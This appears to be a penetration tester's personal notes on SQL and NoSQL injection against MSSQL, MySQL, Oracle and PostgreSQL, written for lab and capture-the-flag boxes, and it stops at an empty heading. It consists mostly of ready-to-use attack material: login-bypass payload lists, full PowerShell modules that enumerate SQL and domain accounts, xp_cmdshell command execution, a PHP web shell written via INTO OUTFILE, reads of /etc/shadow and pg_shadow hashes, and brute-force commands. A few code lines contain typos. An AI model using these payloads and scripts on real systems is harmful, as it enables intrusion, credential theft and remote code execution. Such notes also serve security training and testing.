Backlink: reference-notes-readme
Error Message Identification
Error messages can help provide the back end database type, and also indicate we have a potential SQL injection flaw.
Examples of helpful error message identifiers are:
"ORA" - used as part of Oracle error messages
"Incorrect Syntax" - often in MSSQL error messages
"Error in your SQL" - indicates MySQL
5-digit hex number error code - most likely PostgreSQL
Standard Commands
SELECT - Query the data and return the results
CREATE - Create some database object like a record, tables, stored-procedure etc.
UPDATE - Update an existing database onject (such as a record).
DROP - Delete data
SHUTDOWN - Stop the server
AND - logical joining of two parts of a query
OR - logical joining of two parts of a query
UNION - join the results of two queries (number of fields must equal).
; - finish the SQL statement, and possibly start another one.
-- - comment delimiter for some database
IF - conditional statement, helpful in Blind SQL injection
SUBSTRING - Select a part of the string, helpful in Blind SQL injection
WAITFOR - Cause time delay, helpful for Blind SQL injectionl
Blind SQL Injection
We are looking for Boolean behaviors in the application, by looking for yes and no answers to queries like those below.
-
index.php?itemid=9
- Returns data about item #9
-
index.php?itemid='
- Returns a no item found message
-
index.php?itemid=9' and 1=1; --
- Returns data about item #9
-
index.php?itemid=9' and 1=0; --
- Returns a no item found message
SQLmap
Option: -r
| Load http request from file.
sqlmap -r artist.request
Run command above to test for injectability.
Switch: --dbs
| List the database management system's databases.
Switch:--tables
| Enumerate database tables
Switch: -D
| Specify the database name to be used with table/deeper enum.
MSSQL
MS SQL Enumeration
The setspn
command can be used from a cmd prompt on a compromised domain-joined workstation to locate MS SQL servers on the domain.
setspn -T corp1 -Q MSSQLSvc/*
Same information can be gathered from GetUsersSPNs.ps1
script of C# assemblies.
Fingerprints
Master database and schema tables:
SELECT name FROM master..sysobjects WHERE xtype = 'U';
Bypassing Authentication with Injection
This basic technique for bypassing a login can be used when an application uses the MSSQL database to check the authentication. However if input sanitization is not being utilized, an attacker may possibly bypass this check with SQL injection.
Single-Field Payloads
' or 1=1 --
a' or 1=1 --
" or 1=1 --
a" or 1=1 --
' or 1=1 #
" or 1=1 #
or 1=1 --
' or 'x'='x
" or "x"="x
') or ('x'='x
") or ("x"="x
' or username LIKE '%admin%
Dual-Field Payloads
USERNAME: ' or 1/*
PASSWORD: */ =1 --
USERNAME: admin' or 'a'='a
PASSWORD: '#
Enumerating SQL Server Logins
Manual Method
First we want to verify that it's not possible to get a list of all logins via standard queries since that would save us a lot of time. The queries below should return only a list of default server roles, the "sa" login, and the "MyPublicUser" login.
SELECT name FROM sys.syslogins
SELECT name FROM sys.server_principals
Using the "SUSER_ID" function it's possible to look up the principal_id for any login.
SELECT SUSER_ID('sa')
It is also possible to look up the user_name from a principal_id.
SELECT SUSER_NAME(1)
PowerShell Module Fuzzing
We can also import the Get-SqlServer-Enum-SqlLogins.psm1 module (located below this execution example) into our PowerShell session to fuzz through the principal_ids manually. By default the module will fuzz 300 principal_ids, but this can be increased with -FuzzNum.
Get-SqlServer-Enum-SqlLogins -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 1000
Get-SqlServer-Enum-SqlLogins.psm1
function Get-SqlServer-Enum-SqlLogins
{
<#
.SYNOPSIS
This script can be used to obtain a list of all logins from a SQL Server as a sysadmin or user with the PUBLIC role.
.DESCRIPTION
This module can be used to obtain a list of all logins from a SQL Server with any
login. Selecting all of the logins from the master..syslogins table is restricted
to sysadmins. However, logins with the PUBLIC role (everyone) can quickly enumerate
all SQL Server logins using the SUSER_SNAME function by fuzzing the principal_id parameter.
This is pretty simple, because the principal ids assigned to logins are incremental. Once
logins have been enumerated they can be verified via sp_defaultdb error ananlysis.
This is important, because not all of the principal ids resolve to SQL logins. Some resolve
to roles etc.
.EXAMPLE
Below is an example of how to enumerate logins from a SQL Server using the current Windows user context or "trusted connection".
PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS"
.EXAMPLE
Below is an example of how to enumerate logins from a SQL Server using a SQL Server login".
PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword!
.EXAMPLE
Below is an example of how to enumerate logins from a SQL Server using a SQL Server login".
PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! | Export-Csv c:\temp\sqllogins.csv -NoTypeInformation
.EXAMPLE
Below is an example of how to enumerate logins from a SQL Server using a SQL Server login with non default fuzznum".
PS C:\> Get-SqlServer-Enum-SqlLogins -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! -FuzzNum 500
.LINKS
www.netspi.com
http://msdn.microsoft.com/en-us/library/ms174427.aspx
.NOTES
Author: Scott Sutherland - 2014, NetSPI
Version: Get-SqlServer-Enum-SqlLogins v1.0
Comments: This should work on SQL Server 2005 and Above.
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Set SQL or Domain Login username.')]
[string]$SqlUser,
[Parameter(Mandatory = $false,
HelpMessage = 'Set SQL or Domain Login password.')]
[string]$SqlPass,
[Parameter(Mandatory = $true,
HelpMessage = 'Set target SQL Server instance.')]
[string]$SqlServerInstance,
[Parameter(Mandatory = $false,
HelpMessage = 'Max SID to fuzz.')]
[string]$FuzzNum
)
#------------------------------------------------
# Set default values
#------------------------------------------------
if(!$FuzzNum)
{
[int]$FuzzNum = 300
}
# -----------------------------------------------
# Connect to the sql server
# -----------------------------------------------
# Create fun connection object
$conn = New-Object -TypeName System.Data.SqlClient.SqlConnection
# Set authentication type and create connection string
if($SqlUser)
{
# SQL login / alternative domain credentials
Write-Output -InputObject "[*] Attempting to authenticate to $SqlServerInstance with the Login $SqlUser..."
$conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
[string]$ConnectUser = $SqlUser
}
else
{
# Trusted connection
Write-Output -InputObject "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."
$conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"
$UserDomain = [Environment]::UserDomainName
$Username = [Environment]::UserName
$ConnectUser = "$UserDomain\$Username"
}
# Attempt database connection
try
{
$conn.Open()
$conn.Close()
Write-Host -Object '[*] Connected.' -ForegroundColor 'green'
}
catch
{
$ErrorMessage = $_.Exception.Message
Write-Host -Object '[*] Connection failed' -ForegroundColor 'red'
Write-Host -Object "[*] Error: $ErrorMessage" -ForegroundColor 'red'
# Clean up credentials manager entry
if ($DomainUserCheck)
{
$CredManDel = 'cmdkey /delete:'+$SqlServerInstanceCol
Write-Verbose -Message "Command: $CredManDel"
$ExecManDel = Invoke-Expression -Command $CredManDel
}
Break
}
# -----------------------------------------------
# Enumerate sql server logins with SUSER_NAME()
# -----------------------------------------------
Write-Host -Object "[*] Fuzzing $FuzzNum SQL Server principal_ids..."
# Open database connection
$conn.Open()
# Create table to store results
$MyQueryResults = New-Object -TypeName System.Data.DataTable
$MyQueryResultsClean = New-Object -TypeName System.Data.DataTable
$null = $MyQueryResultsClean.Columns.Add('name')
# Creat loop to fuzz principal_id number
$PrincipalID = 0
do
{
# incrememt number
$PrincipalID++
# Setup query
$query = "SELECT SUSER_NAME($PrincipalID) as name"
# Execute query
$cmd = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($query, $conn)
# Parse results
$results = $cmd.ExecuteReader()
$MyQueryResults.Load($results)
}
while ($PrincipalID -le $FuzzNum-1)
# Filter list of sql logins
$MyQueryResults |
Select-Object name -Unique |
ForEach-Object -Process {
# Get sql login name
$SqlLoginName = $_.name
# add cleaned up list to new data table
$null = $MyQueryResultsClean.Rows.Add($SqlLoginName)
}
# Close database connection
$conn.Close()
# Display initial login count
$SqlLoginCount = $MyQueryResultsClean.Rows.Count
Write-Host "[*] $SqlLoginCount SQL Server logins and roles were found."
# ----------------------------------------------------
# Validate sql login with sp_defaultdb error ananlysis
# ----------------------------------------------------
# Status user
Write-Host -Object '[*] Identifying the logins...'
# Open database connection
$conn.Open()
# Create table to store results
$SqlLoginVerified = New-Object -TypeName System.Data.DataTable
$null = $SqlLoginVerified.Columns.Add('name')
# Check if sql logins are valid
#$MyQueryResultsClean | Sort-Object name
$MyQueryResultsClean |
Sort-Object -Property name |
ForEach-Object -Process {
# Get sql login name
$SqlLoginNameTest = $_.name
# Setup query
$query = "EXEC sp_defaultdb '$SqlLoginNameTest', 'NOTAREALDATABASE1234ABCD'"
# Execute query
$cmd = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($query, $conn)
try
{
$results = $cmd.ExecuteReader()
}
catch
{
$ErrorMessage = $_.Exception.Message
# Check the error message for a signature that means the login is real
if (($ErrorMessage -like '*NOTAREALDATABASE*') -or ($ErrorMessage -like '*alter the login*'))
{
$null = $SqlLoginVerified.Rows.Add($SqlLoginNameTest)
}
}
}
# Close database connection
$conn.Close()
# Display verified logins
$SqlLoginVerifiedCount = $SqlLoginVerified.Rows.Count
if ($SqlLoginVerifiedCount -ge 1)
{
Write-Host -Object "[*] $SqlLoginVerifiedCount logins verified:" -ForegroundColor 'green'
$SqlLoginVerified |
Select-Object name -Unique|
Sort-Object -Property name
}
else
{
Write-Host -Object '[*] No verified logins found.' -ForegroundColor 'red'
}
# Clean up credentials manager entry
if ($DomainUserCheck)
{
$CredManDel = 'cmdkey /delete:'+$SqlServerInstanceCol
Write-Verbose -Message "Command: $CredManDel"
$ExecManDel = Invoke-Expression -Command $CredManDel
}
}
Enumerating Domain Accounts
Manual Method
We should first check to see if we can execute stored procedures to get domain information. These are usually only accessible to members of the sysadmin server role.
EXEC xp_enumgroups 'DEMO';
EXEC xp_logininfo 'DEMO\Domain Admins', 'members';
If the stored procedures fail, We can use the following query to get the domain name of the SQL server.
SELECT DEFAULT_DOMAIN() as mydomain;
Then we can use the example below to get a sample RID from the domain of the SQL server. We can use any default domain users or group.
SELECT SUSER_SID('DEMO\Domain Admins')
Once we have the RID, we can extract the domain SID by grabbing the first 48 bytes of the RID. After we have the SID we can start building our own RIDs and get to fuzzing.
RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000
SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0
Domain RIDs start at 500. So to fuzz, we first will take 500 and convert it to hex.
1F4
We have to make sure the hex is properly formatted, in this case that is adding a 0 to the front.
01F4
We then have to reverse the order of the hex values to ensure they are interpreted correctly by SQL server.
F401
Pad the number out to 8 bytes, using 0s.
F4010000
Concatenate the domain SID and RID.
0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000
Now we have a new RID that can be fed into the "SUSER_NAME" function to get the associated domain account, group, or computer as shown below.
SELECT SUSER_SNAME(0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000)
`Then we'd just have to repeat this 10,000 more times or so to get a full list of domain accounts!
PowerShell Module
The full module code is located below this execution example. Once saved locally, it can be imported with the PowerShell command below.
Import-Module .\Get-SqlServer-Enum-WinAccounts.psm1
After importing, the function can be run as the current Windows account or a SQL login can be supplied as shown below.
Get-SqlServer-Enum-WinAccounts -SQLServerInstance "10.2.9.101" -SqlUser MyPublicUser -SqlPass MyPassword! –FuzzNum 10000
Get-SqlServer-Enum-WinAccounts.psm1
function Get-SqlServer-Enum-WinAccounts
{
<#
.SYNOPSIS
This script can be used to obtain a list of Windows domain accounts associated with the domain of the SQL Server
as any user with the PUBLIC role.
.DESCRIPTION
This module can be used to obtain a list of all Windows domain accounts associated with the domain of the
SQL Server using any login. Selecting that information is typically restricted
to sysadmins. However, logins with the PUBLIC role (everyone) can enumerate
all Windows accounts using the SUSER_SNAME function by fuzzing the principal_id parameter.
In the domain user context the principal_id = rid. So it can be fuzzed by getting the domain sid
and fuzzing the last few bytes to enumerate domain users, computers, and groups.
.EXAMPLE
Below is an example of how to enumerate windows accounts from a SQL Server using the current Windows user context or "trusted connection".
PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS"
.EXAMPLE
Below is an example of how to enumerate windows accounts from a SQL Server using a SQL Server login".
PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword!
.EXAMPLE
Below is an example of how to enumerate windows accounts from a SQL Server using a SQL Server login".
PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! | Export-Csv c:\temp\DomainAccounts.csv -NoTypeInformation
.EXAMPLE
Below is an example of how to enumerate windows accounts from a SQL Server using a SQL Server login with non default fuzznum".
PS C:\> Get-SqlServer-Enum-WinAccounts -SQLServerInstance "SQLSERVER1\SQLEXPRESS" -SqlUser MyUser -SqlPass MyPassword! -FuzzNum 10000
.LINKS
www.netspi.com
http://technet.microsoft.com/en-us/library/cc778824%28v=ws.10%29.aspx
http://msdn.microsoft.com/en-us/library/ms174427.aspx
http://msdn.microsoft.com/en-us/library/ms186271.aspx
.NOTES
Author: Scott Sutherland - 2014, NetSPI
Version: Get-SqlServer-Enum-WinAccounts v1.0
Comments: This should work on SQL Server 2005 and Above.
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'Set SQL or Domain Login username.')]
[string]$SqlUser,
[Parameter(Mandatory = $false,
HelpMessage = 'Set SQL or Domain Login password.')]
[string]$SqlPass,
[Parameter(Mandatory = $true,
HelpMessage = 'Set target SQL Server instance.')]
[string]$SqlServerInstance,
[Parameter(Mandatory = $false,
HelpMessage = 'Max SID to fuzz.')]
[string]$FuzzNum
)
#------------------------------------------------
# Set default values
#------------------------------------------------
if(!$FuzzNum)
{
[int]$FuzzNum = 10000
}
# -----------------------------------------------
# Connect to the sql server
# -----------------------------------------------
# Create fun connection object
$conn = New-Object -TypeName System.Data.SqlClient.SqlConnection
# Set authentication type and create connection string
if($SqlUser)
{
# SQL login / alternative domain credentials
Write-Output -InputObject "[*] Attempting to authenticate to $SqlServerInstance as the login $SqlUser..."
$conn.ConnectionString = "Server=$SqlServerInstance;Database=master;User ID=$SqlUser;Password=$SqlPass;"
[string]$ConnectUser = $SqlUser
}
else
{
# Trusted connection
Write-Output -InputObject "[*] Attempting to authenticate to $SqlServerInstance as the current Windows user..."
$conn.ConnectionString = "Server=$SqlServerInstance;Database=master;Integrated Security=SSPI;"
$UserDomain = [Environment]::UserDomainName
$Username = [Environment]::UserName
$ConnectUser = "$UserDomain\$Username"
}
# Attempt database connection
try
{
$conn.Open()
$conn.Close()
Write-Host -Object '[*] Connected.' -ForegroundColor 'green'
}
catch
{
$ErrorMessage = $_.Exception.Message
Write-Host -Object '[*] Connection failed' -ForegroundColor 'red'
Write-Host -Object "[*] Error: $ErrorMessage" -ForegroundColor 'red'
# Clean up credentials manager entry
if ($DomainUserCheck)
{
$CredManDel = 'cmdkey /delete:'+$SqlServerInstanceCol
Write-Verbose -Message "Command: $CredManDel"
$ExecManDel = Invoke-Expression -Command $CredManDel
}
Break
}
# -----------------------------------------------
# Enumerate domain of the sql server
# -----------------------------------------------
Write-Host -Object '[*] Enumerating domain...'
# Open database connection
$conn.Open()
# Setup query
$query = "SELECT DEFAULT_DOMAIN() as mydomain"
$cmd = New-Object System.Data.SqlClient.SqlCommand($query,$conn)
# Execute Query
$results = $cmd.ExecuteReader()
# Parse query
$GetSqlServerDomain = New-Object System.Data.DataTable
$GetSqlServerDomain.Load($results)
$GetSqlServerDomain | ForEach-Object { $SqlServerDomain = $_.mydomain}
# Status user
Write-Host -Object "[*] Domain found: $SqlServerDomain"
# Close database connection
$conn.Close()
# -----------------------------------------------
# Enumerate domain sid
# -----------------------------------------------
Write-Host -Object '[*] Enumerating domain SID...'
# Open database connection
$conn.Open()
# Setup query
$group = "$SqlServerDomain\Domain Admins"
$query = "select SUSER_SID('$group') as dasid"
$cmd = New-Object System.Data.SqlClient.SqlCommand($query,$conn)
# Execute Query
$results = $cmd.ExecuteReader()
# Parse query
$GetDaSid = New-Object System.Data.DataTable
$GetDaSid.Load($results)
$GetDaSid | ForEach-Object { [byte[]]$DaSid = $_.dasid}
$DaSidDirty = [System.BitConverter]::ToString($DaSid)
$DaSidNoTrunct = $DaSidDirty.Replace("-","")
$DaSidTrunct = $DaSidNoTrunct.Substring(0,48)
# Status user
Write-Host -Object "[*] Domain SID found: $DaSidTrunct"
# Close database connection
$conn.Close()
# -----------------------------------------------
# Enumerate windows accounts with SUSER_NAME()
# -----------------------------------------------
Write-Host -Object "[*] Brute forcing $FuzzNum RIDs..."
# Open database connection
$conn.Open()
# Create table to store results
$MyQueryResults = New-Object -TypeName System.Data.DataTable
$MyQueryResultsClean = New-Object -TypeName System.Data.DataTable
$null = $MyQueryResultsClean.Columns.Add('name')
# Creat loop to fuzz principal_id number
$PrincipalID = 499
do
{
# incrememt number
$PrincipalID++
# Convert to $PrincipalID to hex
$PrincipalIDHex = '{0:x}' -f $PrincipalID
# Get number of characters
$PrincipalIDHexPad1 = $PrincipalIDHex | Measure-Object -Character
$PrincipalIDHexPad2 = $PrincipalIDHexPad1.Characters
# Check if number is even and fix leading 0 if needed
If([bool]($PrincipalIDHexPad2%2)){
$PrincipalIDHexFix = "0$PrincipalIDHex"
}
# Reverse the order of the hex
$GroupsOfTwo = $PrincipalIDHexFix -split '(..)' | ? { $_ }
$GroupsOfTwoR = $GroupsOfTwo | sort -Descending
$PrincipalIDHexFix2 = $GroupsOfTwoR -join ''
# Pad to 8 bytes
$PrincipalIDPad = $PrincipalIDHexFix2.PadRight(8,'0')
# Create users rid
$Rid = "0x$DaSidTrunct$PrincipalIDPad"
Write-Verbose "TESTING RID: $Rid"
# Setup query
$query = "select SUSER_SNAME($Rid) as name"
# Execute query
$cmd = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($query, $conn)
# Parse results
$results = $cmd.ExecuteReader()
$MyQueryResults.Load($results)
$MyQueryResults | select name -Unique -Last 1 | ForEach-Object {$EnumUser = $_.name}
# Show enumerated windows accounts
if($EnumUser -like "*\*"){
Write-Output "[*] - $EnumUser"
}
}
while ($PrincipalID -le $FuzzNum-1)
# Filter list of sql logins
$MyQueryResults |
Select-Object name -Unique |
Where-Object -FilterScript {
$_.name -notlike '*##*'
} |
Where-Object -FilterScript {
$_.name -notlike ''
} |
ForEach-Object -Process {
# Get sql login name
$SqlLoginName = $_.name
# add cleaned up list to new data table
$null = $MyQueryResultsClean.Rows.Add($SqlLoginName)
}
# Close database connection
$conn.Close()
# Display initial login count
$SqlLoginCount = $MyQueryResultsClean.Rows.Count
Write-Host "[*] $SqlLoginCount domain accounts / groups were found." -ForegroundColor Green
$MyQueryResultsClean | Select-Object name -Unique|Sort-Object -Property name
}
Time-based Blind SQLi
Use the waitfor()
function.
Read File
MS SQL uses Bulk Insert to read a specified file. Typically you create an empty table to store the data first.
BULK INSERT table FROM 'c:\boot.ini' --
Write File
MSSQL can not natively write to a file. We have two options to get around this.
First, we can use xp_cmdshell to call osql.exe. This requires a username and password, and easier ways probably exist.
Second, we can create a stored procedure. This requires permission to create objects, and uses the VBS FileSystem Object.
CREATE PROCEDURE sp_AppendToFile(@FileName varchar(255), @Textl varchar(255)) AS DECLARE @FS int, @OLEResult int, @FileiD int
EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT IF @OLEResult <> 0 PRINT 'Scripting.FileSystemObject'
--Open a file
execute @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileiD OUT, @FileName, 8, 1 IF @OLEResult <> 0 PRINT 'OpenTextFile'
--Write Textl
execute @OLEResult = sp_OAMethod @FileiD, 'WriteLine', Null, @Textl IF @OLEResult <> 0 PRINT 'WriteLine'
EXECUTE @OLEResult = sp_OADestroy @FileiD EXECUTE @OLEResult = sp_OADestroy @FS
OS Interaction
Accomplished using the xp_cmdshell, a stored procedure that runs OS commands. Further queries are required to retrieve the results.
To print the local route table and retrieve it:
'; exec master.xp_cmdshell 'route print > results.txt' --
'; Create Table results (outp varchar(5000)); --
'; BULK INSERT results FROM 'results.txt' with (rowterminator = "\n\n\n\n"); --
' and 1 in (select outp from results) --
xp_cmdshell disabled by default on MS SQL 2005 and later. We can re-enable it with:
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
Port Scanning
Inject the following command, without the need to have real credentials:
Select* from OPENROWSET ('SQLoledb', 'uid=sa; pwd=; Network=DBNETLIB; Address=10.5.42.1,80; timeout=5', 'select * from table')
To determine the state of the port, look at the error message.
Closed:
"SQL Server does not exist or access denied"
Open:
"OLE DB provider 'sqloledb' reported an error."
MySQL/MariaDB
Backend Information
To view databases:
show databases;
To use a database:
use <db_name>;
Once using a database, view tables with:
show tables;
To view columns of a table, use SHOW COLUMNS From, or it's alias DESCRIBE:
show columns from tbl_name [from db_name];
show columns from mydb.mytable;
describe tbl_name;
For syntax help, see Examining the database in SQL injection attacks | Web Security Academy
Fingerprint
Master database and schema tables:
SELECT Select_priv FROM mysql.db;
Connect from Kali
To connect from Kali:
mysql -h 10.1.1.98
SQLi Authentication Bypass
Payload Strings
' or ''='
'-'
' '
'&'
'^'
'*'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
Union Payloads
See Micro-CMS v2 for more detailed information.
'UNION SELECT '123' AS password FROM admins WHERE '1' = '1
SQLi Web Fuzzing Payloads
Use the following to test for SQLi authentication bypass against the username field on a web page.
wfuzz -c --hh=10 -u http://10.10.10.6/torrent/login.php -w ~/tools/host/wordlists/sqli-authbypass.txt -d "username=FUZZ&password=admin" 2>&1 | tee -a ./scans/wfuzz-80-sqli-loginphp.txt
Use the following to test for SQLi authentication bypass in the password field on a web page.
wfuzz -c --hh=10 -u http://127.0.0.1:80/login.php -w "/root/cybersecurity/Tools/wordlists/sqli-authbypass.txt" -d "username=admin&password=FUZZ" 2>&1 | tee -a ./wfuzz-80-sqli-loginphp.txt
Adding "--hc 200" to the previous commands might help filter to show only positive results. The test strings that were successful returned only 302 status codes, not 200, when running against HTB - Magic.
See the following page for more information: GitHub - sayanthanpera/web-fuzzing-payloads: Use this payloads to web fuzzing test
Error-Based SQLi
See the PWK lab notes on machine 10.11.1.222 - chris for a walkthrough on error-based SQLi.
Time-Based Blind SQLi
Use the benchmark()
function.
Read File
Uses load_file as part of a query, need to use a UNION to make it work.
' union select load_file('/etc/shadow'),1 #
You can also use 'load data' to read files into tables.
load data infile 'c:\filename' into table temp
Write File
Use the into directive. This can write anywhere MySQL has permissions. Write SSH key, web shell, etc.
SELECT * FROM table INTO dumpfile '/result';
You can also write something that isn't already in a table with:
UNION SELECT … INTO OUTFILE …
This is an example from the OffSec PG Practice box Medjed:
' UNION SELECT ("<?php echo passthru($_GET['cmd']);") INTO OUTFILE 'C:/xampp/htdocs/cmd.php' -- -'
OS Interaction
If the system is running mysql as root, you can usually privesc by exploiting the ability to create a user defined function. Check out the writeup for the Proving Grounds Practice box Banzai or Exploit-DB 1518.c for more details.
Oracle
Fingerprint
Master database and schema tables:
SELECT table_name FROM user_tables;
Read/Write File
Uses an Oracle package to read and write files, named utl_file. It might not be available to our permission level.
declare
f utl_file.file_type;
s varchar2(200);
begin
f:= utl_file.fopen('SAMPLEDATA','samplel.txt','R'); uti_file.get_line(f,s);
utl_flle.fclose(f);
dbms_output.put_line(s);
end;
NoSQL
Background Info
Of course NoSQL is even more different than MSSQL or standard Oracle/MariaDB SQL. In regular SQL, the following two lines would be representative of a standard username lookup statement, and an injected username lookup statement respectively.
select * from username where username = '$user';
select * from username where username = 'admin' OR username != 'admin'-- -;asdasd
Now in NoSQL, the statement is structured differently.
findone(array(
"username" => "$user"
));
These queries don't really support doing something like OR user = 1=1 kind of thing. What has to be done instead is give it an object to get it to say "note equal to something", or "{$ne:} ". The resulting query would look like the following.
findone(array(
"iserma,e" => "{$ne:"}"
));
PHP
How can an object get sent over the web though? For web/php applications, it can be sent as an array, with brackets before a variables equal sign in the request data. We would want to send values that are not on the server, because if we sent 'admin', and there was an admin account, the not equal to statement would return false, not true like is the goal.
username[$ne]=FakeAcc&password[$ne]=FakePass&login=login
NodeJS
NodeJS isn't going to allow us to pass parameters like this though. In order to send the object in this case, the Content-Type header needs to be changed to 'Content-Type: application/json' and the payload needs to be changed into json as well, as shown below.
{
"username": { "$ne": "FakeAcc" },
"password": { "$ne": "TakePass" },
"login": "login"
}
Further Enumeration
Also learned from ippsec, you can pass other objects in to NoSQL. For example, you can pass regex, and deduce the length of usernames.
username[$regex]=^.{6}$&password[$ne]=FakePass&login=login
I used this to wfuzz the range 1..15. This resulted in the discovery that there was a valid 5 digit username due to the 302 response.
wfuzz -c -u http://10.10.10.162/ -w int.txt -d 'username[$regex]=^.{FUZZ}$&password[$ne]=FakePass&login=login' -H 'Host: staging-order.mango.htb' 2>/dev/null
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.162/
Total requests: 16
===================================================================
ID Response Lines Word Chars Payload
===================================================================
000000003: 200 209 L 403 W 4022 Ch "2"
000000015: 200 209 L 403 W 4022 Ch "14"
000000007: 200 209 L 403 W 4022 Ch "6"
000000001: 200 209 L 403 W 4022 Ch "http://10.10.10.162/"
000000014: 200 209 L 403 W 4022 Ch "13"
000000006: 302 209 L 403 W 4022 Ch "5"
000000011: 200 209 L 403 W 4022 Ch "10"
000000012: 200 209 L 403 W 4022 Ch "11"
000000016: 200 209 L 403 W 4022 Ch "15"
000000013: 200 209 L 403 W 4022 Ch "12"
000000010: 200 209 L 403 W 4022 Ch "9"
000000009: 200 209 L 403 W 4022 Ch "8"
000000008: 200 209 L 403 W 4022 Ch "7"
000000002: 200 209 L 403 W 4022 Ch "1"
000000005: 200 209 L 403 W 4022 Ch "4"
000000004: 200 209 L 403 W 4022 Ch "3"
Total time: 0.098095
Processed Requests: 16
Filtered Requests: 0
Requests/sec.: 163.1061
PostgreSQL
Basic Information
PostgreSQL is an open source object-relational database system that uses and extends the SQL language.
Default port: 5432, and if this port is already in use it seems that postgresql will use the next port (5433 probably) which is not in use.
Fingerprint
Master database and schema tables:
SELECT relname FROM pg_class ;
Connect
psql -U <myuser> # Open psql console with user
psql -h <host> -p <port> -U <username> -d <database> # Remote connection
psql -h <host> -p <port> -U <username> -W <password> <database> # Remote connection
Use Syntax
psql -h localhost -d <database_name> -U <User> #Password will be prompted
\list # List databases
\c <database> # use the database
\d # List tables
\du+ # Get users roles
#Read a file
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
#You can also read files and folders with pg_ls_dir:
select pg_ls_dir('./');
select pg_ls_dir('/etc/passwd');
#Write ascii to a file (copy to cannot copy binary data)
COPY (select convert_from(decode('<B64 payload>','base64'),'utf-8')) to 'C:\\some\\interesting\path.cmd';
#List databases
SELECT datname FROM pg_database;
#Read credentials (usernames + pwd hash)
SELECT usename, passwd from pg_shadow;
#Check if current user is superiser
SELECT current_setting('is_superuser'); #If response is "on" then true, if "off" then false
#Check if plpgsql is enabled
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql'
#Change password
ALTER USER user_name WITH PASSWORD 'new_password';
#Check users privileges over a table (pg_shadow on this example)
SELECT grantee, privilege_type
FROM information_schema.role_table_grants
WHERE table_name='pg_shadow'
#Get users roles
SELECT
r.rolname,
r.rolsuper,
r.rolinherit,
r.rolcreaterole,
r.rolcreatedb,
r.rolcanlogin,
r.rolconnlimit, r.rolvaliduntil,
ARRAY(SELECT b.rolname
FROM pg_catalog.pg_auth_members m
JOIN pg_catalog.pg_roles b ON (m.roleid = b.oid)
WHERE m.member = r.oid) as memberof
, r.rolreplication
FROM pg_catalog.pg_roles r
ORDER BY 1;
Enumeration
msf> use auxiliary/scanner/postgres/postgres_version
msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
Post-Exploitation
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload
Logging
Inside the postgresql.conf file you can enable postgresql logs changing:
log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/
Then restart the service.
pgadmin
pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file. You can decrypt them using the decrypt function inside the script: pgadmin4/crypto.py at master · postgres/pgadmin4 · GitHub
sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db
Brute-Forcing
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
Read/Write File
Uses the Copy SQL command.
COPY mydata FROM '/etc/passwd';
COPY mydata TO '/tmp/data';
OS Interaction
